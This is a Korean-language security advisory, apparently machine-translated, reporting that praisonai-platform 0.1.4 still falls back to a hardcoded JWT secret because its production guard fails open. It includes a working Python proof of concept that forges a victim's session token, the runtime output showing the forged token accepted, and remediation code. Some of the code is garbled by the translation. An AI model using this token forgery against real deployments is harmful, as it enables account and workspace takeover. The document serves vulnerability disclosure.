praisonai-platform 0.1.4는 여전히 하드코딩된 JWT 비밀 dev-secret-change-me(기본 개방형 프로덕션 가드)에서 부팅됩니다.
영향을 받음: praisonai-platform (PyPI) <= 0.1.4 — 0.1.4 포함, GHSA-3qg8-5g3r-79v5 버전이 패치로 선언됩니다. 메인 HEAD 8acf77c531e624c46d3d61dcae37e9942e90972c도 영향을 받습니다. 파일 src/praisonai-platform/praisonai_platform/services/auth_service.py
CWE: CWE-1188(안전하지 않은 기본 초기화) + CWE-798(하드 코딩된 자격 증명 사용) -> CWE-287(부적절한 인증)
GHSA-3qg8-5g3r-79v5(Critical)는 praisonai-platform의 JWT 서명 비밀이 하드코딩된 리터럴 "dev-secret-change-me"로 기본 설정되어 있으며 이를 방지하기 위한 프로덕션 가드가 기본 개방형(PLATFORM_ENV != "dev"인 경우에만 실행되지만 PLATFORM_ENV의 기본값은 "dev"임)이라고 보고했습니다. 해당 권고는 0.1.4 이상에서 패치된 문제를 선언합니다. 그렇지 않습니다. 제공된 praisonai-platform==0.1.4(및 현재 기본)는 PLATFORM_JWT_SECRET을 명시적으로 설정하지 않은 모든 배포에서 여전히 서명 키를 "dev-secret-change-me"로 확인합니다. 0.1.4 변경 사항은 실패 시 닫히는 대신 동일한 기본 열기 가드를 두 번째 기능에 복제했기 때문입니다. 인증되지 않은 공격자는 공개 소스에서 리터럴을 읽고, 임의 하위로 JWT를 위조하고, 작업공간 소유자를 포함하여 해당 사용자로 인증됩니다.
강력한 PLATFORM_JWT_SECRET을 명시적으로 내보내지 않고 praisonai-platform 0.1.4를 실행하는 모든 배포는 공개적으로 알려진 키 "dev-secret-change-me"를 사용하여 세션 JWT에 서명하고 확인합니다. 패키지의 문서화된 진입점인 python -m praisonai_platform --host 0.0.0.0 --port 8000(uvicorn praisonai_platform.api.app:app --host 0.0.0.0과 동일)은 PLATFORM_JWT_SECRET이나 PLATFORM_ENV를 설정하지 않으므로 이것이 기본 상태이지 엣지 케이스가 아닙니다. 저장소 전체 검색은 두 개의 가드 사이트와 테스트 픽스처에서만 두 변수를 모두 찾습니다. Dockerfile, 작성 파일 또는 배포 문서 세트도 제공되지 않습니다.
결과:
완전한 인증 우회(인증되지 않음). 공격자는 소스에서 읽은 공개 기본 비밀만 알고 HS256({"sub": , "email": …, "exp": }, "dev-secret-change-me")을 발행합니다. 플랫폼 자체 검증자는 이를 수락하고 공격자가 선택한 하위에 대해 인증된 신원을 반환합니다. 계정이나 사전 액세스가 필요하지 않습니다. 이것이 헤드라인 결함입니다. 동일한 브레이크 GHSA-3qg8이 9.8점을 받았습니다.
워크스페이스 소유자 인계(대상 소유자 ID가 알려진 경우). 워크스페이스 소유자의 하위를 위조하면 require_workspace_member / require_workspace_owner 및 소유자 제어 경로가 충족되어 해당 워크스페이스의 모든 리소스에 대한 소유자 수준 읽기/업데이트/삭제와 멤버/역할 관리가 가능해집니다. uuid4 사용자 ID는 추측할 수 없으므로 특정 소유자를 가장하려면 해당 소유자의 ID를 추가로 알아야 합니다. 모든 공동 구성원은 GET /{workspace_id}/members에서 직접 읽을 수 있으며(각각 user_id 및 역할을 전달하는 List[MemberResponse]를 require_workspace_member의 모든 소유자에게 반환) 로그 및 추천에도 표시됩니다. 최종 상태는 0.1.4 웨이브의 세 가지 중요 권고 사항(이 항목과 GHSA-c2m8-4gcg-v22g 9.6 및 GHSA-h8q5-cp56-rr65)과 일치합니다.
리소스 파기/잠금(A:H). 소유자 가장은 전체 작업 공간과 포함된 모든 리소스를 삭제하는 DELETE /workspaces/{workspace_id}(require_workspace_owner에 의해 제어됨)에 도달하고, DELETE /{workspace_id}/members/{user_id}는 적법한 구성원을 제거합니다. 즉, 정당한 사용자에 대한 복구 불가능한 작업 공간 거부입니다.
영향을 받는 인구: 0.1.4의 모든 기본(PLATFORM_JWT_SECRET 없음) 배포 — GHSA-3qg8에서 0.1.4가 수정되었다고 알려 주었기 때문에 사용자가 특별히 업그레이드한 버전입니다.
PR:N / AC:L은 인증 우회 기본 요소에 적용됩니다. 알려진 하위에 대한 유효한 세션을 생성하려면 계정이 필요하지 않고 공개 비밀만 필요합니다. 특정 소유자를 대상으로 인수하려면 소유자의 사용자 ID(위의 구성원 목록 응답에서 모든 공동 구성원이 읽을 수 있거나 로그/이전 노출에서 복구 가능)가 추가로 필요합니다. 이는 가장 큰 영향을 미치는 경로를 조건으로 삼지만 우회 자체는 조건으로 삼지 않습니다. 벡터는 동일한 결함에 대해 원래 GHSA-3qg8을 할당한 PR:N/9.8 GitHub와 일치합니다.
모든 참조는 praisonai-platform==0.1.4(PyPI sdist) 및 기본 HEAD 8acf77c의 src/praisonai-platform/praisonai_platform/...에 있습니다. services/auth_service.py의 두 복사본은 바이트가 동일합니다. sha256 = cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258은 배송된 0.1.4 sdist와 HEAD 체크아웃 모두에 대해 — 따라서 패치된 릴리스와 현재 기본 내용은 그대로 유지됩니다. 말 그대로 동일한 결함입니다.
1. 모듈 로드 가드는 기본적으로 열려 있습니다(services/auth_service.py:25-34).
``파이썬 DEFAULT_SECRET = "개발-비밀-변경-나" JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET", DEFAULT_SECRET) JWT_ALGORITHM = "HS256" JWT_TTL_SECONDS = int(os.environ.get("PLATFORM_JWT_TTL", str(30 * 24 * 3600))) JWT_SECRET == DEFAULT_SECRET 및 os.environ.get("PLATFORM_ENV", "dev") != "dev"인 경우: RuntimeError( "PLATFORM_JWT_SECRET은 프로덕션에서 강력한 임의 값으로 설정되어야 합니다." "개발 중에 이 검사를 억제하려면 PLATFORM_ENV=dev를 설정하십시오." )
인상은 PLATFORM_ENV != "dev"인 경우에만 실행됩니다. 그러나 os.environ.get("PLATFORM_ENV", "dev")의 기본값은 "dev"이고 PLATFORM_ENV는 패키지나 배포 구성 어디에도 설정되어 있지 않습니다. 저장소 전체 검색에서는 PLATFORM_ENV를 이 두 가드 사이트에서만 찾을 수 있으며 PLATFORM_JWT_SECRET는 여기와 이를 명시적으로 설정한 테스트/픽스처에서만 찾을 수 있습니다. Dockerfile, compose 파일 또는 문서 세트도 없습니다. 따라서 깔끔한 배포에서는 조건자가 True이고 ("dev" != "dev") = False입니다. 경비원은 발사하지 않고 JWT_SECRET은 "dev-secret-change-me"를 유지합니다.
**2. 0.1.4 "수정"은 동일한 기본 개방 가드(services/auth_service.py:114-128)를 복제했습니다.** 실패 시 닫힘 대신 0.1.4에서는 _issue_token에 동일한 조건자를 추가했습니다.
``파이썬
def _issue_token(self, user: 사용자) -> str:
JWT_SECRET == DEFAULT_SECRET 및 os.environ.get("PLATFORM_ENV", "dev") != "dev"인 경우:
raise RuntimeError("개발자 외부에서 기본 PLATFORM_JWT_SECRET을 사용하여 JWT 발행을 거부합니다.")
...
return jwt.encode(payload, JWT_SECRET, 알고리듬=JWT_ALGORITHM) # 기본 비밀로 서명합니다.
GHSA-3qg8은 의도된 수정 사항이 "모든 환경 변수에 관계없이 비밀이 기본값인 경우 가져오기 시 장애가 발생하여 닫히는 것"이라고 명시합니다. HEAD는 그렇게 하지 않습니다. 두 가드 복사본 모두 기본적으로 false인 PLATFORM_ENV != "dev" 조건에 따라 게이트된 상태로 유지됩니다. 따라서 권고 자체의 패치 임계값(>= 0.1.4)은 올바르지 않습니다. 0.1.4는 여전히 취약합니다.
3. 확인은 위조된 하위 엔드투엔드(services/auth_service.py:131-141 -> api/deps.py:28-73)를 신뢰합니다.
``파이썬 def _verify_token(자기, 토큰): payload = jwt.decode(token, JWT_SECRET, 알고리듬=[JWT_ALGORITHM]) # 기본 비밀; 고정됨; 특급 확인됨 return AuthIdentity(id=payload["sub"], type="user", email=payload.get("email"), name=payload.get("name"))
get_current_user(deps.py:28)는 이 ID를 직접 반환합니다. require_workspace_member(deps.py:54)는 위조된 하위에 대해 member_svc.has_role(workspace_id, Identity.id, min_role)에서만 권한을 부여합니다. 그렇지 않으면 디코딩이 건전하므로(HS256 고정, PyJWT에 의해 시행되는 exp, 검증 없음=False) 유일한 중단은 기본 비밀입니다. 미들웨어 또는 앱 팩토리 검사가 재검증되지 않습니다(api/app.py는 경로별 종속(get_current_user)을 사용하여 라우터를 마운트하고 전역 재루트는 없음).
작업 공간 간 IDOR(GHSA-h8q5-cp56-rr65) 및 구성원 역할 권한 에스컬레이션(GHSA-c2m8-4gcg-v22g) 수정 사항은 HEAD에서 검토되었으며 완료된 것으로 보입니다. 이 권고는 JWT 비밀 경비원에게만 적용됩니다.
## 재생산
praisonai-platform은 Python 서버 패키지이므로 PoC는 배송된 0.1.4 릴리스를 설치하고, 기본 배포(env 변수 없음)를 시뮬레이션하고, 공개 기본 비밀로 토큰을 위조하고, 이를 패키지의 자체 AuthService._verify_token에 제공하는 독립형 Python 재현자입니다.
``배쉬
mkdir poc && cd poc
pip install --target ./pkgs praisonai-platform==0.1.4 PyJWT
python3 poc.py
``파이썬
OS, SYS 가져오기 os.environ.pop("PLATFORM_JWT_SECRET", None) # 기본 배포: 비밀이 설정되지 않음 os.environ.pop("PLATFORM_ENV", None) # 기본 배포: env가 설정되지 않음 -> Guard default-open sys.path.insert(0, "./pkgs")
datetime import datetime, timedelta, 시간대에서 JWT 가져오기
VICTIM_SUB = "11111111-2222-4333-8444-deadbeefcafe" # 대상 사용자/소유자 uuid4 지금 = datetime.now(timezone.utc) 위조 = jwt.encode( {"sub": VICTIM_SUB, "email": "victim@target", "name": "피해자", "iat": 지금, "exp": 지금 + timedelta(시간=1)}, "dev-secret-change-me", 알고리즘="HS256", # 공개 하드코딩된 기본값 )
praisonai_platform.services에서 auth_service를 A로 가져옵니다. print("패키지 JWT_SECRET (env unset) =", repr(A.JWT_SECRET), "| == 기본값?", A.JWT_SECRET == "dev-secret-change-me") Identity = A.AuthService.new(A.AuthService)._verify_token(forged) # 패키지 자체 검증자 print("패키지 _verify_token(forged) =", 신원) ID가 None이 아니며 ID가 == VICTIM_SUB임을 주장하십시오. print("결과: 확인됨 — 위조된 토큰이 피해자로 인정됨")
### 엔드투엔드(런타임) 검증
관찰된 출력은 실제로 설치된 praisonai-platform==0.1.4(GHSA-3qg8 "패치된" 릴리스)에 대해 실행됩니다.
``텍스트
패키지 JWT_SECRET(env unset) = 'dev-secret-change-me' | == 기본값? 참
package _verify_token(forged) = AuthIdentity(id='11111111-2222-4333-8444-deadbeefcafe', type='user', 작업 공간_id=None, 역할=[], 이메일='victim@target', name='victim', 메타데이터={})
결과: 확인됨 — 위조된 토큰이 피해자로 인정됨
이는 공격자가 선택한 하위에 대해 인증된 AuthIdentity를 반환하는 패키지 자체의 _verify_token(재구현 아님)으로, 0.1.4가 기본 배포에서 위조된 세션을 허용한다는 것을 엔드투엔드 방식으로 증명합니다. 중간 관찰(모듈 수준 JWT_SECRET은 공개 기본값과 동일)과 최종 싱크(검증자가 피해자 ID를 반환함)가 모두 런타임 시 관찰되었습니다.
PLATFORM_ENV(여전히 PLATFORM_JWT_SECRET 없음)만 설정하면 가져오기 시 동일한 가드가 실행됩니다. 이는 프로덕션 배포를 보호하는 유일한 방법이 안전하지 않은 값으로 기본 설정되는 환경 변수라는 것을 보여줍니다.
``배쉬 PLATFORM_ENV=prod python3 -c "import praisonai_platform.services.auth_service"
``텍스트
파일 ".../praisonai_platform/services/auth_service.py", 31행, <module>에 있음
RuntimeError(
RuntimeError: PLATFORM_JWT_SECRET은 프로덕션에서 강력한 임의 값으로 설정되어야 합니다. 개발 중에 이 검사를 억제하려면 PLATFORM_ENV=dev를 설정하십시오.
가드는 실패 시 닫힐 수 있습니다. 단순히 기본(PLATFORM_ENV 설정 해제 → "dev") 상태가 아닙니다. 이는 정확히 GHSA-3qg8이 보고한 것과 0.1.4가 변경되지 않은 상태입니다.
PLATFORM_ENV와 별개로 실패 시 종료됨:
``파이썬 JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET") JWT_SECRET이 아닌 경우: raise RuntimeError("PLATFORM_JWT_SECRET은 강력한 무작위 값으로 설정되어야 합니다. 기본 키로 시작하는 것을 거부합니다.") JWT_SECRET == "dev-secret-change-me"인 경우: raise RuntimeError("PLATFORM_JWT_SECRET은 잘 알려진 기본값입니다. 고유하고 강력한 값을 설정하세요.")
- _DEFAULT_SECRET 폴백을 완전히 제거하거나(기본 서명 키 없음), 비밀이 기본값인 경우 최소한 무조건 인상합니다. PLATFORM_ENV에서 확인을 게이트하지 **하지 마세요**, 기본값("dev")이 정확하게 확인을 비활성화합니다.
- _issue_token에 중복된 가드에도 동일하게 적용합니다.
- 명시적이고 명확하게 플래그가 지정된 개발 모드(예: PLATFORM_ENV=dev opt-in)에 대해서만 임의의 프로세스별 비밀을 생성하는 것을 고려하여 안전한 기본값은 실패 시 닫힙니다.
## 공개 일정
- 2026-05-30: 메인 HEAD 8acf77c에서 praisonai-플랫폼을 감사하는 동안 GHSA-3qg8-5g3r-79v5의 불완전한 수정으로 발견되었습니다. 출시된 PyPI 릴리스 praisonai-platform==0.1.4에 대해 런타임 확인: 공개 기본 비밀로 위조된 토큰은 패키지 자체의 AuthService._verify_token에서 허용됩니다.
- 2026-05-30: GitHub 보안 권고(PraisonAI)를 통해 제출하기 위해 초안 작성.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 98.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 98.00 |
VPI 공식 vpi-v1 기준